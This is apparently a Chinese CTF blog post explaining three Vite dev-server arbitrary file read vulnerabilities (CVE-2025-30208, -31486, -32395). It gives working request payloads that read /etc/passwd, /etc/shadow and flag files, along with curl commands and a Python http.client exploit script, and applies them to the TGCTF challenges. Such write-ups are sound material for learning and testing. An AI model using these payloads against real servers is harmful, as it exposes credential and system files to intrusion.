Featured image of post Vite任意文件读取漏洞

Vite任意文件读取漏洞

Vite任意文件读取漏洞

三个洞,TGCTF出了三个题

CVE-2025-30208

Vite 开发服务器提供 @fs 机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw???import&raw?? 等查询参数绕过访问限制,从而读取任意文件。

在 Vite 服务器的 URL 处理逻辑中,@fs 机制原本用于限制对非白名单目录的访问

1
2
3
4
5
server: {
  fs: {
    allow: [path.resolve(__dirname, 'src')]
  }
}

Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查

1
2
3
4
GET /etc/passwd?raw??
GET /etc/passwd?import&raw??
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??

由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow 限制,并返回任意文件内容。

甚至有exp工具:GitHub - ThumpBo/CVE-2025-30208-EXP: CVE-2025-30208-EXP

[TGCTF]前端GAME

源码读到flag在flag在根目录下/tgflagggg中,直接上poc

1
2
/@fs/etc/passwd?import&raw??
/@fs/tgflagggg?import&raw??

CVE-2025-31486

分析见Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

这篇是低版本的poc

1
/@fs/etc/passwd?import&?inline=1.wasm?init

新版poc

1
2
3
/@fs/etc/passwd?import&?.svg?.wasm?init

/@fs/etc/shadow?.svg?.wasm?init  //这里没有import是因为读取的文件没有后缀,isJSRequest为true

POC1

  1. 仅影响Vite 6.0及以上版本(即>=6.0.0的受影响版本);
  2. 仅当被读取的文件大小小于build.assetsInlineLimit配置值时(默认值为4KB)
1
/@fs/etc/passwd?.svg?.wasm?init

POC2

需要知道Vite所在的绝对路径

1
2
# 这里的/x/x/x/vite-project/是指Vite所在的绝对路径
/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw

[TGCTF]前端GAME Plus

1
2
/@fs/etc/passwd?.svg?.wasm?init
/@fs/tgflagggg?.svg?.wasm?init

CVE-2025-32395

这下必须知道vite的绝对路径了

先访问/@fs/tmp/,界面会返回如下

1
2
3
4
5
6
403 Restricted
The request url "/tmp" is outside of Vite serving allow list.

- /root/pseudocat

Refer to docs https://vite.dev/config/server-options.html#server-fs-allow for configurations and more details.

这里的403页面会回显Vite的allow list,一般而言就是Vite所在的路径了

1
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
1
2
# 这里的/x/x/x/vite-project/是指Vite所在的绝对路径
/@fs/x/x/x/vite-project/#/../../../../../etc/passwd 

直接在浏览器没办法用#符号,在bp里面就能用了

当然也可以使用Python,注意使用requests没法复现。可以使用http.client,它是Python标准库中提供的一个底层的HTTP客户端模块,直接与网络套接字交互来发送和接收HTTP请求和响应,能够实现类似curl --request-target的功能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import http.client

# 替换为实际的 IP 地址
ip = 'xxx.xxx.xxx.xxx'
# 替换为实际的 PORT 端口
port = 5173
# 定义请求目标路径
request_target = '/@fs/root/pseudocat/#/../../../../../etc/passwd'

try:
    # 创建 HTTP 连接
    conn = http.client.HTTPConnection(ip, port)
    # 发起 GET 请求
    conn.request('GET', request_target)
    # 获取响应
    response = conn.getresponse()
    # 读取响应内容
    data = response.read().decode('utf-8')
    # 打印响应状态码和内容
    print(f"状态码: {response.status}")
    print(data)
except http.client.HTTPException as http_err:
    print(f"HTTP 异常: {http_err}")
except Exception as e:
    print(f"发生其他错误: {e}")
finally:
    # 关闭连接
    if conn:
        conn.close()

[TGCTF]前端GAME Ultra

/@fs/tmp读到/app

用curl

1
curl --request-target /@fs/app/#/../../../../../etc/passwd http://127.0.0.1:53349
1
curl --request-target /@fs/app/#/../../../../../tgflagggg http://127.0.0.1:53349
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计